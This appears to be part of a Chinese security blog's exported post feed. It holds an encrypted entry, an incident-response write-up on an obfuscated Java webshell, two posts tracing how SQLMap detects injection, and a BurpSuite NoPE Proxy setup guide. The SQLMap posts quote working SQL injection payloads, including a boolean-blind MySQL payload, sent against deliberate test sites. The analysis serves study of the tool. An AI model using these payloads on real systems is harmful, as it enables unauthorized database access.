9c0407f51d5eed5526151856eafd9c8b3016bdbb4482afbffcd7ab7709e14c6dd389b0d7a088c0ee22a3a253bb74eb9cc7d1fcace9a5882d8138b709459efc9be3236a0ecfe93406ecd5a9ea82374b4be4555794527d7166d4c8d761512fb6043938b59a97cdb7aaefae3a97d7b2464bea4421678b195bc5fbc08b773464e7ab42488d936c60c4f6430c272ab88737716a03e60c4cf855b718a15da443755db290b3a23b49aeb41c2b648685ea4cb214715cbe04a108bcd9f75c81db269cbdb5141a59342b259e6d49cdb0408519c908b06d15ef39bb46abefa420e108e3d05670e2987619057ac6add2970dc5b9344d1e274cc67bd91b2eef94636bc6b7e0be62150010a26d87f934501c0fa45207eca365846582d28d577d7f27beea63dcfc968fb3ad204eb68a046ea97d820787fbb2bde29737162072bcd423fcfdf3b563e109c112b312d4d0c2ace3be58e029a6a1c5ef174084cf1068845815ebc1321bd121a5bec7fd24e3311dc2858ff289ecf8aa223621622ffe327addecc4f089accc5b404502a7c41d40582c25613f228eef115341299ae260fd5f4be0e701cb6254da63063d0be37b80ae47e795159582fa3d614f6573c51bb12c21f5a5773a792478952a20d06c48b9957b3035e890929022a4cb5da6914f622802e08f017db46444aa59f591b878edf9eebdc76cab2d329eda153ac2a7d2433086dbc8eb899978d2315276ed25d16d7b27a7bc9919b0d5ce150ba21e5121af4cca63bf26ce3bf63296ba3f36de5c52958f8ac7c2aca6360638680c996421600caed2a1a01155921b62e7f14555c147f5ff99e2266f73d40280199f5658ba136ae7fd5084223f111f4cc7c03d8035b6eeb8e15a3bfee27d5388428ceb01616fa2da3de7e75761c6e98cc51a87d8a4c0f14ea3b136a9ad246c0fbc344426b4d536e27099b550194960a2ce72e7a0968a2690f9c91d92b4a36057825c0e3954d22a7e1b5f69db7a60f466313c84a8f3139753723b22a676f2869ac8849de579119614b89a400ad640f8632c79d918c93818037f686fd374232579b5cf591df541ea61934ce642947b815dfc05ff9dff63767c2a3da9f8ead89440ea781d541aa2d921880a67526f372d42caf3e72284ee7f6fcbd0bd08d7a25142479ce06741fab92e4be470335c3e389ef232e9b78b6e732e655239a8c81ad7a8c5f69e3b9a8ed58e67d19d3e6f9275c30b7eb2201655982eaf043da60e284e7400e4d441bb53b8243b6a69365aeda7399dad82adc51a658bef7222eab50695d44c8b8e5768e2fb6040d7a08953ca09ebef75b6786ccb1f6db7da807b632f5716d127c21696d387c32942273186df4c0993d80cdef5557d29a76172f6224024093364f1318df597ad437b90f9354e7362fcf2c0c81ca154edb263634933426278a8db57aa8eb176fbfe8a81ed749bb44bc0a51ef51e4e288f659b2bb5fddad18e6489c8a37d51aea666f65d24abe04998ab6825af326f2f785490b74ba239cfa5c955ff84a0e0edd9c92f978d7537b312da8ac40efd500841dc3f6cda712bb3b5a3397470ad18b5fb606d5448dc05400a7c1f2ef3edaede49375f82f46ba5774ae7da9e2f2dc9437d39f0dc5197746429b67478a2e297ffa9f588a8635f2c3a5ae315d070a139f59e27818fab18fc6335750f160849b2b3b352d4145e89899d9dd0b45e406e5e17263adac8721e7cdb3b0cfdab105206af9545e13d563a6df1a39d60c004fb557b214ca30d12cb21ee7ee72a1fba84c0a6bce6e2ba6c829707b29b1efc5967083805ef958474c695f8795c129b2fc4801d5de6b1bcd80211d1a32f0f4f49c0da4f929c82f95d0f5be127aa720f53ff030ee3cbfa60790d92cece6e4d67e39777142f0dee336b158160f176c643bf70e230c3f5d6252c67b8d98c5c1196b1459bbd09d65c991990826fd294682124ab6d75d9b83c877ebf8802f068378175a3b2e868b0731fadc0fe7eb0732eb7b4c9f0fd9d0ef51ef3d7cee22662aee9ba5f9554095531d4cc5ec3e9b53bea2d0b3831cf9297bf51aea8617a81a334e189765896a2f98a1ff0914788799dd574ae1e8327abc0ed6d2e13ec74070643e76291117e146dcf5524ae7a2b9b2b7d734e8444bf3d2eaeba55d44a45695c03785fb40580a7be53aa85bdb0e26a3e6dff715661801c93e50abd70afb9676de40614bce213694f6e7299fffd125421296d9420bf65cc74aabd954ae40c2cc7ccb3e6f8c1506aaa41ded1e493ab172761fbe3eb541521cf328360291f9ced47604b70707c4ffb9c2aca181577fb12fafcd5b721ec61553032ede020f86ce4f01c8e5df312452b18d95081f93c27ed2749267a9c9bbe2411696039049225af144db2851e2f2d976455cfe5e04bf3da2722245c6c9b624f0da85d1ca24504ecddbd07dace9009e6e407343bd5744907f73c3cc24f98697dbe7d2c460ed45337fb7952d756bcf012a03ece7dc4f9851ed52d92cf3cc1c4f4d58d2877301a3ba7db88f6c765b784d69542bd09150a413286f3d4d123953dd3c050e524073a024ea8fd5f3abeef02edecb3075cef34e8a9b77675625e178c2ee7fb06f8580529168bae6eace7188c7020da7ddc1cee4e85490c1cf1f80ec2d822e8a916248286c54e9abb6bf61855773334055d1b57e76403837e9a130c0d99301fe11b7aa6f8aab9d62afcc8c9596e00157d88cee9ee5018457fee858f68ac4f50ad5f4d607fd8b62f979984b99977c5e220ef926cbe7eaa9c68de54268cd5de9bc8860f1772a5a19a5198a38ffebe54a0b08560fbb8e404c491f1248dae200341f26d38f7ec9fb4f0b02884846301ec61b6c58aa94fd2bc5e843ffab08814d63cdd18c6f1cef80587ee7de7aa79b8e49cfac15836a21b15ced344fe68c87ca1f23914078dacf25590e1ff20d4a434e63c9e6b332e47e2fbee354bdc0f951a390623936762ae924b6acc57945b53d3667c759447c2de75e9fe9d7c6ac6637372172d630fe98cfa692bfd48f17f86aa8b05c55294916c5b5f10bb5741d1a630ef8f6f44057418678da60552</script>
<div class="hbe hbe-content">
<div class="hbe hbe-input hbe-input-default">
<input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">
<label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">
<span class="hbe hbe-input-label-content hbe-input-label-content-default">由于内容敏感,因此加密处理</span>
</label>
</div>
</div>
</div>
<script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
<categories>
<category>安全</category>
<category>应急响应</category>
</categories>
<tags>
<tag>应急响应</tag>
</tags>
</entry>
<entry>
<title>某多重混淆应急响应</title>
<url>/archives/9bb5d45b.html</url>
<content><![CDATA[<p>在一次攻防演练中,发现一个有趣的shell,文件做过多层混淆。</p>
<p><img data-src="https://i.loli.net/2021/08/18/4hfFrNpeTZxsYCn.png" alt="源文件"></p>
<span id="more"></span>
<h1 id="静态分析"><a href="#静态分析" class="headerlink" title="静态分析"></a>静态分析</h1><h2 id="Unicode混淆"><a href="#Unicode混淆" class="headerlink" title="Unicode混淆"></a>Unicode混淆</h2><p>根据内容可大概得知为unicode编码,对其进行解码,解码之后内容如下:</p>
<p><img data-src="https://i.loli.net/2021/08/18/Yw28WLuekyDCdqP.png" alt="第一次解码"></p>
<h2 id="字节码Base64解码"><a href="#字节码Base64解码" class="headerlink" title="字节码Base64解码"></a>字节码Base64解码</h2><p>其中clzBytecodeBase64Str参数值为base64编码,直接使用base64解码之后发现存在乱码,猜测为字节码文件进行base64编码。提取clzBytecodeBase64Str值,使用工具对其进行解码还原为class文件,其内容如下:</p>
<p><img data-src="https://i.loli.net/2021/08/18/H6MfhlOr7JYCydP.png" alt="Vicennial类"></p>
<h2 id="ZKM14混淆"><a href="#ZKM14混淆" class="headerlink" title="ZKM14混淆"></a>ZKM14混淆</h2><p>根据内容猜测其为ZKM14混淆,对其进行还原。然后查看反混淆之后的内容:</p>
<p><img data-src="https://i.loli.net/2021/08/18/n2OyHWC8beaZMRS.png" alt="VicennialOut"></p>
<h2 id="第二次字节码解码"><a href="#第二次字节码解码" class="headerlink" title="第二次字节码解码"></a>第二次字节码解码</h2><p>同理将s3进行解码,得到如下内容</p>
<p><img data-src="https://i.loli.net/2021/08/18/zJkbWXEIGQwcNK2.png" alt="shell"></p>
<p>根据上图可得知其为webshell</p>
<h1 id="动态分析"><a href="#动态分析" class="headerlink" title="动态分析"></a>动态分析</h1><p>由于java所有代码都需要进到JVM,可直接dump出JVM中的类文件即可。<br>启动tomcat,访问一次原始文件页面,让tomcat将其加载至JVM中。使用arthas加载tomcat,首先要寻找对应的类名。<br>通过jvisualvm工具,查看内存中的类。<br><img data-src="https://i.loli.net/2021/08/18/AZr8zS5GYvHKbgP.png" alt="jvisualvm">通过<code>dump Sklater</code>命令直接将class导出</p>
<p><img data-src="https://i.loli.net/2021/08/18/foduLOYnRz5XQpe.png" alt="dump shell"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>1.这个webshell结合了上次说的编码、classload,还加了ZKM混淆;<br>2.在这次事件上,静态分析可以对整个流程理解更深刻,动态分析可以更快得到结果。</p>
]]></content>
<categories>
<category>安全</category>
<category>应急响应</category>
</categories>
<tags>
<tag>应急响应</tag>
</tags>
</entry>
<entry>
<title>SQLMap原理分析(一)</title>
<url>/archives/e409b646.html</url>
<content><![CDATA[<p>记得好久以前看过SQLMap的原理分析,但是那时候仅仅只是看过并没有自己去研究。因此,这次想深入研究一下SQLMap的原理。大概会从网络请求、运行流程、源码这些角度进行分析。</p>
<span id="more"></span>
<h1 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h1><h2 id="测试环境"><a href="#测试环境" class="headerlink" title="测试环境"></a>测试环境</h2><p>先准备几个不同数据库的测试环境:MySQL、Oracle、SQLServer等。这里偷懒就直接用AWVS提供的环境:<span class="exturl" data-url="aHR0cDovL3Rlc3RwaHAudnVsbndlYi5jb23jgIFodHRwLy90ZXN0YXNwLnZ1bG53ZWIuY29tJUUzJTgwJTgy">http://testphp.vulnweb.com、http://testasp.vulnweb.com。<i class="fa fa-external-link-alt"></i></span></p>
<h2 id="SQLMap"><a href="#SQLMap" class="headerlink" title="SQLMap"></a>SQLMap</h2><p>SQLMap可以在<span class="exturl" data-url="aHR0cDovL3NxbG1hcC5vcmcv">官方站点<i class="fa fa-external-link-alt"></i></span>下载也可以通过Git命令从GitHub下载。<code>git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev</code></p>
<p>如果已经有SQLMap,可以更新到最新版本。这里我用的是1.3.4.51#dev版本</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">python sqlmap.py --update</span><br><span class="line">python sqlmap.py --version</span><br></pre></td></tr></table></figure>
<h1 id="请求分析"><a href="#请求分析" class="headerlink" title="请求分析"></a>请求分析</h1><p>通过对请求分析可以很直观看到SQLMap从开始到结束中间一共进行过什么操作。分析思路为找到SQLMap关键的几个请求包进行分析,得出SQLMap大概的一个操作流程以及判断逻辑。Ps:下文中包的数字等信息并不固定。</p>
<h2 id="MySQL"><a href="#MySQL" class="headerlink" title="MySQL"></a>MySQL</h2><p>在testphp站点随便找一个注入点,可以发现登录口存在注入,用BurpSuite(代理端口8080)将请求保存成sql.txt,然后使用sqlmap进行注入。</p>
<p><code>python sqlmap.py -r sql.txt -p uname --proxy http://127.0.0.1:8080</code></p>
<p>正常情况下这时候已经可以在BurpSuite的proxy-history里面看到sqlmap发的请求了。</p>
<p>首先会不直接按照sql.txt中的请求包发起一次请求根据响应进行下一步操作,由于该处登录口登录失败会进行302跳转。因此,SQLMap会有一个是否跟进302的提示。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7633abca2.png" alt="302跳转.png"></p>
<p>接下来可以看到SQLMap猜测该处为MySQL数据库,大概为第五、六个包。</p>
<ol>
<li>按照sql.txt发起请求;</li>
<li>在url后面加参数发起请求;</li>
<li>将POST请求变成GET请求;</li>
<li>不改动再发起一次请求;</li>
<li>增加特殊字符发起请求:&lsquo;、"。</li>
</ol>
<p>根据服务器回显报错得出可能为MySQL数据库。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca763844613.png" alt="MySQL_Error.png"></p>
<p>接下来会猜测注入类型型,大概在第一百四十六个包会得出注入点uname为布尔盲注,根据请求可以看到payload。</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">uname<span class="operator">=</span>est<span class="string">' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(4376=4376,1))),0x71766b6271,0x78))s), 8446744073709551610, 8446744073709551610)))-- GUJT</span></span><br></pre></td></tr></table></figure>
<p>判断依据为该请求服务器可以正常响应。</p>
<p>接下来会对数据库版本以及函数进行猜测,大概在二百二十七个包会得出可以使用union以及共有8个字段。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7638a50b9.png" alt="union.png"></p>
<p>最后对进行一次验证,并得出结论。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7638ab833.png" alt="result.png"></p>
<h2 id="SQLServer"><a href="#SQLServer" class="headerlink" title="SQLServer"></a>SQLServer</h2><p>随便找一个注入点:<span class="exturl" data-url="aHR0cDovL3Rlc3Rhc3AudnVsbndlYi5jb20vc2hvd2ZvcnVtLmFzcD9pZD0wJUVGJUJDJThDJUU1JUIwJTg2JUU2JUI1JTgxJUU5JTg3JThGJUU0JUJCJUEzJUU3JTkwJTg2JUU1JTg4JUIwQnVycFN1aXRlJUUzJTgwJTgy">http://testasp.vulnweb.com/showforum.asp?id=0,将流量代理到BurpSuite。<i class="fa fa-external-link-alt"></i></span></p>
<p>SQLMap第一次认为该处不存在注入,可以看到是输入特殊的字符根据响应进行判断:&lsquo;、"。一共发起两次特殊字符请求进行注入点判断,服务器响应为500,并且响应包里面没有带数据库报错等信息。因此,SQLMap猜测该处并不存在注入。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca76386163a.png" alt="SQLServer_error.png"></p>
<p>但是后来SQLMap发现该处为布尔类型的盲注,根据时间来看是11:59:59时判断的。根据BurpSuite的时间戳找到这个时间点的请求包得知payload:0 and 9756=9756,并且服务器的响应为200。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7638a5110.png" alt="and.png"></p>
<p>接下来SQLMap判断该数据库类型为SQLServer,根据前后的请求包来看应该是按照不同连接符号得出的不同结论来进行判断。</p>
<p>可以看到一共用了三种连接符号,在使用||,服务器返回为200响应码。</p>
<ol>
<li>||</li>
<li><ul>
<li></li>
</ul>
</li>
<li>&</li>
</ol>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7635c7197.png" alt="||code=200.png"></p>
<p>接下来会开始猜测注入类型,会得出该注入点是SQLServer可注入,并且是什么类型注入。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca76386452f.png" alt="注入类型.png"></p>
<p>接着通过order by来猜测字段长度,可得出长度为2。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca76385c3f5.png" alt="order by 2.png"></p>
<p>最终会输出结果。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca763398e71.png" alt="sqlserver-result.png"></p>
<h1 id="Oracle"><a href="#Oracle" class="headerlink" title="Oracle"></a>Oracle</h1><p>待测试。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>根据上面的测试可以得知SQLMap大致工作流程:数据库类型猜测、注入类型猜测、数据库版本猜测(MySQL不同版本会影响后续payload选择)、字段长度猜测、结论输出等。 </p>
<ol>
<li>数据库类型猜测使用特殊字符来完成:单引号、双引号、连接符等;</li>
<li>注入类型猜测通过函数来完成:char、union、concat、select等;</li>
<li>长度猜测用的是order by。</li>
</ol>
<p>这次测试注入点都是简单的注入点,因此看起来很类似。或许在复杂的注入点中间用的函数或者特殊字符不同,但是流程上应该是保持不变的。</p>
]]></content>
<categories>
<category>安全</category>
</categories>
<tags>
<tag>工具</tag>
</tags>
</entry>
<entry>
<title>SQLMap原理分析(二)</title>
<url>/archives/782ab1db.html</url>
<content><![CDATA[<p>在<a href="/archives/e409b646.html" title="SQLMap原理分析(一)">SQLMap原理分析(一)</a>通过SQLMap的请求进行了一次简单的分析,大概了解SQLMap一个粗略的运行流程。这次通过源码的Debug进行深入一点研究。</p>
<span id="more"></span>
<h1 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h1><p>这里使用pycharm进行debug,打开SQLMap项目之后,在【Run】-【Edit Configurations】设置参数:-u <span class="exturl" data-url="aHR0cDovL3Rlc3Rhc3AudnVsbndlYi5jb20vc2hvd2ZvcnVtLmFzcD9pZD0w">http://testasp.vulnweb.com/showforum.asp?id=0<i class="fa fa-external-link-alt"></i></span> –flush-session。由于上次跑了testasp这个站点有缓存因此加上了–flush-session。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2ed407c05.png" alt="pycharm-config.png"></p>
<h1 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h1><h2 id="连接检测"><a href="#连接检测" class="headerlink" title="连接检测"></a>连接检测</h2><p>准备工作做好之后,在sqlmapy.py文件第407行下一个断点,然后开启Debug之旅。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eec3ac6a.png" alt="debug-1.png"></p>
<p>可以看到现在已经成功断到407行了,单步步入到main()函数中。发现前面几行代码是获取配置、路径、banner等信息。当运行到136行的时候可以发现已经获取到前面设置的站点参数。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f556aa4b.png" alt="debug-2.png"></p>
<p>运行到156行步入到init()函数中,2629行至后面可以看到会进行一系列设置:http、threads等等。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eecea60d.png" alt="debug-3.png"></p>
<p>步出回到sqlmapy.py中的main函数,继续单步运行会进行一系列判断检查,直到177行会发现start函数,步入到start函数。这时候会来到./lib/core/decorators.py的stackedmethod函数,根据注释,该函数是用来堆栈对齐的回退函数(不太理解啥意思)。看到result关键字直接步入。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f54bbdba.png" alt="debug-4.png"></p>
<p>发现来到./lib/controller/controller.py的start函数。根据注释可以得知,该函数用来检查url、请求方式、cookie以及是否存在注入等。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eeb99d73.png" alt="debug-5.png"></p>
<p>经过一系列的信息获取:Method、paramKey、Headers等,来到了420行进行连接等检查。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eecc3af6.png" alt="debug-6.png"></p>
<p>跟进checkConnection函数,会来到./controller/checks.py。先检查hostname是否是ip形式(xxx.xxx.xxx.xxx),之后检查有没有设置代理。然后输出log信息:尝试连接目标url。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eed053b4.png" alt="debug-7.png"></p>
<p>终端上这时候print出该条日志信息。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eecea051.png" alt="log-print.png"></p>
<p>在1589行可以看到开始进行request请求,跟进Request函数,来到./request/connect.py,通过注释可以得知queryPage函数是用来获取目标url页面内容。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eec3b6ea.png" alt="debug-8.png"></p>
<p>直到1306行调用Connect.getPage发起请求开始获取页面内容。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eed06b5e.png" alt="debug-9.png"></p>
<p>步入getPage函数,经过一系列的赋值:url、get类型参数、cookie等。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f5605d4b.png" alt="debug-10.png"></p>
<p>497行调用urllib.request.urlopent发起请求。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f55cf740.png" alt="debug-11.png"></p>
<p>515行获取响应正文信息,这跟上篇文章请求第一个请求包相呼应。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f561842f.png" alt="debug-12.png"></p>
<p>570行会关闭连接。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f55d1102.png" alt="debug-13.png"></p>
<p>最后getPage函数会return出响应正文、响应头以及响应状态码。继续运行回到queryPage函数,经过一系列处理queryPage函数将响应正文、响应头以及响应状态码也return出去。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f55e3e92.png" alt="debug-14.png"></p>
<p>之后会来到./lib/core/decorators.py,会将获取到的result返回。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f555cfc4.png" alt="debug-15.png"></p>
<p>会回到checks.py,最终返回True。这时候SQLMap已经获知目标站点可连接。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f558f816.png" alt="debug-16.png"></p>
<h2 id="WAF判断"><a href="#WAF判断" class="headerlink" title="WAF判断"></a>WAF判断</h2><p>之后会开始进行WAF检测&识别。</p>
<h3 id="检测"><a href="#检测" class="headerlink" title="检测"></a>检测</h3><p>在423行进行waf检测。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f5583e99.png" alt="debug-17.png"></p>
<p>跟进checkWaf函数,又会来到stackedmethod函数,直接到在result进行步入,会来到checkWaf函数。根据注释可以得知sqlmap的waf检测能力来源nmap的http-waf-detect脚本。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd307501870.png" alt="debug-18.png"></p>
<p>首先将几种攻击类型的payload(SQL注入、目录遍历、XSS等)拼接到已有参数发起请求。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075e0add.png" alt="debug-19.png"></p>
<p>如果直接连接错误,可以判断存在WAF。若可正常连接,判断不存在WAF。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075de50a.png" alt="debug-20.png"></p>
<h3 id="识别"><a href="#识别" class="headerlink" title="识别"></a>识别</h3><p>继续执行可以看到identifyWaf函数,但由于并未设置检测waf会被判断跳过。可以按住command点击identifyWaf函数跟进查看原理。大概原理是调用waf文件夹下脚本进行检测-得到结果。脚本脚本大概逻辑为:发起请求-获取响应正文、响应头、响应码-根据规则判断-返回结果。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075ce2c5.png" alt="debug-21.png"></p>
<h2 id="稳定性检测"><a href="#稳定性检测" class="headerlink" title="稳定性检测"></a>稳定性检测</h2><p>回到controller运行至436行会有checkStability函数。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3074bd00b.png" alt="debug-22.png"></p>
<p>跟进该函数,通过备注发现该函数是用来进行稳定性检测。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075dfc04.png" alt="debug-23.png"></p>
<h2 id="参数动态检测"><a href="#参数动态检测" class="headerlink" title="参数动态检测"></a>参数动态检测</h2><p>经过一系列赋值&判断,运行至535行步入checkDynParam函数,根据注释可以得知该函数是用来检测参数是否为动态。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075cc469.png" alt="debug-24.png"></p>
<h2 id="注入检测"><a href="#注入检测" class="headerlink" title="注入检测"></a>注入检测</h2><h3 id="简单判断"><a href="#简单判断" class="headerlink" title="简单判断"></a>简单判断</h3><p>运行至558行,终于来到关键的注入检测。跟进heuristicCheckSqlInjection函数,在1023行进行随机字符串获取,随机字符串长度为10。并且该随机字符串需满足单引号或者双引号出现次数为1。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075db5a4.png" alt="debug-25.png"></p>
<p>接下来将随机字符串拼接成payload,发起请求。这个请求跟上篇文章请求中的注入判断请求包对应。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075cb1c8.png" alt="debug-26.png"></p>
<p>1035行调用parseFilePaths函数检测响应正文中是否包含绝对路径。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075a7b0a.png" alt="debug-27.png"></p>
<p>1036行检测上一个响应是否有数据库错误信息,这时候的上个请求payload是包含单双引号的,通过这种方式可以极快的判断是否存在注入。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3e1ed1.png" alt="debug-28.png"></p>
<p>由于这里并不会有数据库的报错信息,所以还需要继续运行。在1092行会生成两个随机变量,长度为6。接下来生成带<’">的payload,该payload为第一个随机字符串加上<’">加上第二个随机字符串。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c433f5d.png" alt="debug-29.png"></p>
<p>1095行出现agent.payload函数,跟进该函数(./lib/core/agent.py),根据注释得知该函数功能是替换SQL注入参数。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3b927a.png" alt="debug-30.png"></p>
<p>166行调用cleanupPayload函数,根据函数名猜测该函数主要是用来进行payload清理。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3e2e76.png" alt="debug-31.png"></p>
<p>最终返回经过处理之后的payload:<br><code>u'id=__PAYLOAD_DELIMITER__0\'ozeyed<\'">cOuFpj__PAYLOAD_DELIMITER__'</code>。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c463356.png" alt="debug-32.png"></p>
<p>之后使用处理之后的payload发起请求。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c486dcd.png" alt="debug-33.png"></p>
<p>最后返回kb.heuristicTest。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c458928.png" alt="debug-34.png"></p>
<p>继续运行回到start函数,570行调用checkSqlInjection开始进行注入检测。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3e0fdc.png" alt="debug-35.png"></p>
<p>跟进checkSqlInjection函数,调用InjectionDict函数设置注入字典,之后对参数值类型进行检查。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3e00ac.png" alt="debug-36.png"></p>
<p>135行调用getSortedInjectionTests函数获取待注入类型及其payload等信息。142行会将tests数据取出来,直至取完才能跳出141行的while循环。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c466091.png" alt="debug-37.png"></p>
<p>148行由于条件并不满足,会跳过dbms检测。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3101f21d1.png" alt="debug-38.png"></p>
<p>之后对payload进行处理,直至506、511行调用Request.queryPage请求。这时候的payload包含AND关键字。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd311092e00.png" alt="debug-39.png"></p>
<p>之后对结果进行判断,由于并没有满足条件,许多判断都直接pass掉。开始重新构造payload发起请求。直至payload为boolen类型注入,会进入判断设置injectable = True。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd311093db6.png" alt="debug-40.png"></p>
<p>拆分一下这里的判断逻辑:</p>
<ol>
<li>falsePage与truePage是否相等,falsePage使用的payload为cmpPayload、TruePage使用的payload为reqPayload。假设得到结果为A,A为布尔类型;</li>
<li>获取not kb.nullConnection结果,假设得到结果为B,B为布尔类型;</li>
<li>判断not(A and B),假设得到结果为C,C为布尔类型;</li>
<li>判断trueResult and C,假设得到结果为D,只有trueResult、C同为True。D才能为True,满足条件判断;</li>
<li>正常情况下B为True,这时候只有falsePage不等于truePage,才能满足条件。</li>
</ol>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd311094d32.png" alt="debug-41.png"></p>
<p>这时候的判断还是比较简单的判断并不能直接就认为该处存在注入,可以看到终端输出时该处似乎是布尔类型的盲注。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd31107da75.png" alt="debug-42.png"></p>
<p>之后对该注入信息进行赋值存储injection变量中。由于这时候injectable为True,所以会跳出372行的for循环。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd311081b0f.png" alt="debug-43.png"></p>
<h3 id="深度判断"><a href="#深度判断" class="headerlink" title="深度判断"></a>深度判断</h3><p>待定。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>SQLMap整个运行机制:</p>
<ol>
<li>获取url、thread、headers等信息存储至变量中;</li>
<li>网站存活性检测;</li>
<li>WAF检测&WAF类型识别;</li>
<li>稳定性检测;</li>
<li>注入检测。</li>
</ol>
<p>SQLMap关键的脚本:</p>
<ol>
<li>./lib/core/decorators.py</li>
<li>./lib/controller/controller.py</li>
<li>./request/connect.py</li>
<li>./controller/checks.py</li>
<li>./lib/core/agent.py</li>
</ol>
<p>通过SQLMap机制简单分析,后续在手工注入的时候可以参考SQLMap的判断机制。</p>
]]></content>
<categories>
<category>安全</category>
</categories>
<tags>
<tag>工具</tag>
</tags>
</entry>
<entry>
<title>BurpSuite抓取非HTTP协议流量</title>
<url>/archives/ffc80a19.html</url>
<content><![CDATA[<p>在进行APP渗透的时候,设置代理到BurpSuite的时候,发现没拦截到包,但是已经获取到数据。猜测是请求包走的是非HTTP协议,发现BurpSuite有一个插件可以抓取TCP的流量:NoPE Proxy。<br><img data-src="https://s2.loli.net/2023/04/05/f3GABvpMHINtjcw.png"></p>
<span id="more"></span>
<h1 id="NoPE安装"><a href="#NoPE安装" class="headerlink" title="NoPE安装"></a>NoPE安装</h1><p>[NoPE][1]安装很简单,直接下载对应的jar文件,然后在BurpSuite的【Extender】选项卡中添加即可。Ps:记得要配置Java Environment环境。</p>
<h1 id="NoPE使用"><a href="#NoPE使用" class="headerlink" title="NoPE使用"></a>NoPE使用</h1><p>安装完成之后,需要对NoPE进行配置:DNS配置、HTTP代理设置等。</p>
<h2 id="Server设置"><a href="#Server设置" class="headerlink" title="Server设置"></a>Server设置</h2><p>在NoPE工具的【Server Config】选项卡进行配置,猜测设置DNS是为了获取请求包的domain。</p>
<ol>
<li>设置【DNS Response IP】和【DNS Listener Port】,将这个ip设置为代理服务器的ip地址,port设置为DNS常用端口:53;</li>
<li>设置【Interface】,这个是设置网卡,可通过<code>ifconfig</code>查看 ;</li>
<li>点击【Add 80 & 443 to Burp】,将80、443端口添加到Burp。<br><img data-src="https://s2.loli.net/2023/04/05/43uOz8AFJcrLQIh.png"><br>设置完之后回到【Proxy】选项卡的【Options】看一下,并且将Invisible设置为勾选(如果没勾选)。Ps:这时候可以使用手机进行操作,看看BurpSuite能不能拦截到HTTP的包。<br><img data-src="https://s2.loli.net/2023/04/05/s5rwdkVUYfDW1Sm.png"></li>
</ol>
